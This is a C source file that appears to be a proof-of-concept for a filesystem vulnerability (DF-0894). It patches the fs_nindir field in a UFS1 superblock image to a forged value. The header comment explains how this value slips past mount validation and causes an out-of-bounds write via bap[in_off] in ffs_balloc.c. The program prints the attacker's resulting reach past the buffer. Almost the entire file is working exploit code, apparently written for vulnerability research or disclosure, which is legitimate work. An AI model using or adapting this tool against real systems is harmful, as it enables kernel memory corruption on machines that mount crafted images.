DF-0894 / craft_img.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 | /* * craft_img.c - DF-0894 UFS superblock fs_nindir patcher. * * Reads a base UFS1 image (produced by `newfs`), patches the on-disk * `fs_nindir` field in the superblock to a forged (larger) value so that * `ufs_getlbns` computes `in_off = bn % MNINDIR(ump)` values that exceed * `fs_bsize / sizeof(ufs_daddr_t)` entries, driving an out-of-bounds * index `bap[indirs[i].in_off]` in ffs_balloc.c:297/333/378/479. * * The on-disk superblock lives at byte offset SBOFF=8192 (fs.h:60 * BBOFF+BBSIZE). Within `struct fs` (sys/vfs/ufs/fs.h:189-287), * `fs_nindir` is at byte offset 116 (all preceding fields are int32 or * 4-byte ufs_daddr_t on UFS1). The mount path ffs_vfsops.c:642-646 * validates only fs_magic and the fs_bsize range; fs_nindir is copied * verbatim into `ump->um_nindir` at ffs_vfsops.c:729 with no check that * it equals `fs_bsize / sizeof(ufs_daddr_t)`. * * Usage: craft_img <img> [<new_nindir>] * new_nindir defaults to 8192 (any value > fs_bsize/4 triggers OOB). * * Build: cc -o craft_img craft_img.c */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #define SBOFF 8192 /* on-disk superblock offset (fs.h BBOFF+BBSIZE) */ #define OFF_FS_BSIZE 48 /* offsetof(struct fs, fs_bsize) */ #define OFF_FS_FSIZE 52 #define OFF_FS_NINDIR 116 /* offsetof(struct fs, fs_nindir) */ #define OFF_FS_INOPB 120 static uint32_t rd32(const unsigned char *p){ return (uint32_t)p[0] | ((uint32_t)p[1]<<8) | ((uint32_t)p[2]<<16) | ((uint32_t)p[3]<<24); } static void wr32(unsigned char *p, uint32_t v){ p[0]=(unsigned char)(v&0xff); p[1]=(unsigned char)((v>>8)&0xff); p[2]=(unsigned char)((v>>16)&0xff); p[3]=(unsigned char)((v>>24)&0xff); } int main(int argc, char **argv){ if (argc < 2) { fprintf(stderr, "usage: %s <img> [<new_nindir>]\n", argv[0]); return 2; } const char *img = argv[1]; uint32_t new_nindir = (argc >= 3) ? (uint32_t)strtoul(argv[2], NULL, 0) : 8192; int f = open(img, O_RDWR); if (f < 0) { perror("open"); return 2; } /* read superblock region */ unsigned char sb[4096]; if (lseek(f, SBOFF, SEEK_SET) != SBOFF) { perror("lseek"); return 2; } if (read(f, sb, sizeof(sb)) != (ssize_t)sizeof(sb)) { perror("read"); return 2; } uint32_t magic = rd32(sb + 1372); uint32_t bsize = rd32(sb + OFF_FS_BSIZE); uint32_t fsize = rd32(sb + OFF_FS_FSIZE); uint32_t nindir = rd32(sb + OFF_FS_NINDIR); uint32_t inopb = rd32(sb + OFF_FS_INOPB); printf("=== DF-0894 superblock patcher ===\n"); printf("image: %s\n", img); printf("fs_magic: 0x%x (expect 0x011954)\n", magic); printf("fs_bsize: %u -> indirect-block buffer = %u bytes\n", bsize, bsize); printf("fs_fsize: %u\n", fsize); printf("fs_inopb: %u\n", inopb); printf("fs_nindir: %u (CORRECT = fs_bsize/sizeof(ufs_daddr_t) = %u)\n", nindir, bsize / 4); printf("entries/buf: %u (= fs_bsize/4)\n", bsize / 4); if (magic != 0x011954) { fprintf(stderr, "ERROR: not a UFS1/FFS superblock (magic mismatch)\n"); close(f); return 2; } if (nindir != bsize / 4) { fprintf(stderr, "WARN: image already patched (fs_nindir=%u != %u)\n", nindir, bsize/4); } printf("\n--- patching fs_nindir: %u -> %u ---\n", nindir, new_nindir); wr32(sb + OFF_FS_NINDIR, new_nindir); /* recompute and print what the attacker gains */ uint32_t entries = bsize / 4; /* real entries in the indirect block */ uint32_t max_in_off = new_nindir - 1; uint32_t oob_bytes_past = (max_in_off + 1) * 4 - bsize; /* signed-safe */ printf("forged MNINDIR(ump) = %u\n", new_nindir); printf("valid bap[] indices = 0..%u (%u entries)\n", entries - 1, entries); printf("forged in_off range = 0..%u\n", max_in_off); printf("max OOB index = bap[%u] = bp->b_data + %u\n", max_in_off, max_in_off * 4); printf("max OOB past buffer = %u bytes (~%u KB)\n", oob_bytes_past, oob_bytes_past / 1024); printf("first OOB index = bap[%u] = bp->b_data + %u (buffer is %u)\n", entries, entries * 4, bsize); /* write back just the 4 bytes of fs_nindir */ if (lseek(f, SBOFF + OFF_FS_NINDIR, SEEK_SET) != SBOFF + OFF_FS_NINDIR) { perror("lseek2"); close(f); return 2; } if (write(f, sb + OFF_FS_NINDIR, 4) != 4) { perror("write"); close(f); return 2; } close(f); printf("\nOK: fs_nindir patched in %s\n", img); return 0; } |